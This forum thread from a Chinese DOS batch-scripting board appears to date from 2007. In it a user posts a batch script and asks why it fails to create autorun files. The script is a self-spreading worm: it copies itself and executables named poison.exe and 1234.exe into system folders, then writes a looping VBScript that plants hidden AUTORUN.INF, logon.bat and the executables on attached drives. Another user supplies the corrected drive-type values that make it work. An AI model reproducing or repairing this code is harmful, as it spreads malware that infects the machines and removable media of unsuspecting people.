中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-04 17:23
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 请帮忙看看为什么不能生成autorun 查看 762 回复 5
楼 主 请帮忙看看为什么不能生成autorun 发表于 2007-05-22 10:49 ·  中国 江苏 南京 移动
初级用户
积分 20
发帖 8
注册 2007-05-01 03:22
19年会员
UID 87082
性别 男
状态 离线

@echo off
copy %0 %windir%\system32
if exist %systemroot%\poison.exe goto end
copy poison.exe %systemroot%
copy 1234.exe %systemroot%
echo on error resume next>%windir%\system32\logon.vbs
echo strComputer = ".">>%windir%\system32\logon.vbs
echo set fs =createobject("scripting.filesystemobject")>>%windir%\system32\logon.vbs
echo set WshShell = WScript.CreateObject("WScript.Shell")>>%windir%\system32\logon.vbs
echo Set objWMIService = GetObject("winmgmts:" _>>%windir%\system32\logon.vbs
echo ^& "{impersonationLevel=impersonate}!\\" ^& strComputer ^& "\root\cimv2")>>%windir%\system32\logon.vbs
echo Set colDisks = objWMIService.ExecQuery _>>%windir%\system32\logon.vbs
echo ("Select * from Win32_LogicalDisk")>>%windir%\system32\logon.vbs
echo For i =1 to 9000000000>>%windir%\system32\logon.vbs
echo For Each objDisk in colDisks>>%windir%\system32\logon.vbs
echo If objDisk.DriveType=1 or objDisk.DriveType=2 then>>%windir%\system32\logon.vbs
echo y1=fs.FileExists(objDisk.DeviceID ^& "\AUTORUN.INF")>>%windir%\system32\logon.vbs
echo if not y1 then>>%windir%\system32\logon.vbs
echo set f=fs.opentextfile(objDisk.DeviceID ^& "\AUTORUN.INF",2, true)>>%windir%\system32\logon.vbs
echo f.write "" ^& vbcrlf>>%windir%\system32\logon.vbs
echo f.write "open=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs
echo f.write "shellexecute=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs
echo f.write "shell\Auto\command=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs
echo f.Close>>%windir%\system32\logon.vbs
echo Set f1 = fs.GetFile(objDisk.DeviceID ^& "\AUTORUN.INF")>>%windir%\system32\logon.vbs
echo If f1.Attributes = f1.Attributes AND 2 Then>>%windir%\system32\logon.vbs
echo :f1.Attributes = f1.Attributes XOR 7:>>%windir%\system32\logon.vbs
echo End If>>%windir%\system32\logon.vbs
echo end if>>%windir%\system32\logon.vbs
echo y2=fs.FileExists(objDisk.DeviceID ^& "\logon.bat")>>%windir%\system32\logon.vbs
echo if not y2 then >>%windir%\system32\logon.vbs
echo fs.CopyFile "c:\windows\system32\logon.bat",objDisk.DeviceID ^& "\">>%windir%\system32\logon.vbs
echo Set f2 = fs.GetFile(objDisk.DeviceID ^& "\logon.bat")>>%windir%\system32\logon.vbs
echo If f2.Attributes = f2.Attributes AND 2 Then>>%windir%\system32\logon.vbs
echo :f2.Attributes = f2.Attributes XOR 7:>>%windir%\system32\logon.vbs
echo End If>>%windir%\system32\logon.vbs
echo end if>>%windir%\system32\logon.vbs
echo y3=fs.FileExists(objDisk.DeviceID ^& "\poison.exe")>>%windir%\system32\logon.vbs
echo if not y3 then>>%windir%\system32\logon.vbs
echo fs.CopyFile "c:\windows\poison.exe",objDisk.DeviceID ^& "\">>%windir%\system32\logon.vbs
echo WScript.Sleep 500>>%windir%\system32\logon.vbs
echo Set f3 = fs.GetFile(objDisk.DeviceID ^& "\poison.exe")>>%windir%\system32\logon.vbs
echo If f3.Attributes = f3.Attributes AND 2 Then>>%windir%\system32\logon.vbs
echo :f3.Attributes = f3.Attributes XOR 7:>>%windir%\system32\logon.vbs
echo End If>>%windir%\system32\logon.vbs
echo end if>>%windir%\system32\logon.vbs
echo y4=fs.FileExists(objDisk.DeviceID ^& "\1234.exe")>>%windir%\system32\logon.vbs
echo if not y4 then>>%windir%\system32\logon.vbs
echo fs.CopyFile "c:\windows\1234.exe",objDisk.DeviceID ^& "\">>%windir%\system32\logon.vbs
echo WScript.Sleep 500>>%windir%\system32\logon.vbs
echo Set f4 = fs.GetFile(objDisk.DeviceID ^& "\1234.exe")>>%windir%\system32\logon.vbs
echo If f4.Attributes = f3.Attributes AND 2 Then>>%windir%\system32\logon.vbs
echo :f4.Attributes = f4.Attributes XOR 7:>>%windir%\system32\logon.vbs
echo End If>>%windir%\system32\logon.vbs
echo end if>>%windir%\system32\logon.vbs
echo End if>>%windir%\system32\logon.vbs
echo Next>>%windir%\system32\logon.vbs
echo WScript.Sleep 20000>>%windir%\system32\logon.vbs
echo Next>>%windir%\system32\logon.vbs
start %windir%\system32\logon.vbs
:end
2 发表于 2007-05-22 12:57 ·  中国 浙江 杭州 联通
银牌会员
★★★
积分 1,928
发帖 931
注册 2007-01-06 11:46
19年会员
UID 75624
性别 男
状态 离线
没搞懂For i =1 to 9000000000有什么用,还有WScript.Sleep 20000
3 发表于 2007-05-22 13:25 ·  中国 浙江 杭州 联通
银牌会员
★★★
积分 1,928
发帖 931
注册 2007-01-06 11:46
19年会员
UID 75624
性别 男
状态 离线
DriveType的值不正确。

2是移动磁盘
3是固定磁盘

这和用GetDrive函数返回的DriveType是不一样的。
用GetDrive函数返回的是:

0: "未知"
1: "可移动"
2: "固定"
3: "网络"
4: "CD-ROM"
5: "RAM 磁盘"
4 发表于 2007-05-22 14:14 ·  中国 浙江 温州 电信
新手上路
积分 2
发帖 1
注册 2007-05-22 13:54
19年会员
UID 88972
性别 男
状态 离线
虽然帮不上忙但是顶下
5 发表于 2007-05-22 18:25 ·  中国 江苏 南京 移动
初级用户
积分 20
发帖 8
注册 2007-05-01 03:22
19年会员
UID 87082
性别 男
状态 离线
Originally posted by wudixin96 at 2007-5-22 12:57 PM:
没搞懂For i =1 to 9000000000有什么用,还有WScript.Sleep 20000

For i =1 to 9000000000
让它无限循环
WScript.Sleep 20000
每20秒检查一次
6 发表于 2007-05-22 18:32 ·  中国 江苏 南京 移动
初级用户
积分 20
发帖 8
注册 2007-05-01 03:22
19年会员
UID 87082
性别 男
状态 离线
Originally posted by wudixin96 at 2007-5-22 01:25 PM:
DriveType的值不正确。

2是移动磁盘
3是固定磁盘

这和用GetDrive函数返回的DriveType是不一样的。
用GetDrive函数返回的是:

0: "未知"
1: " ...

非常感谢
就是这个原因
论坛跳转: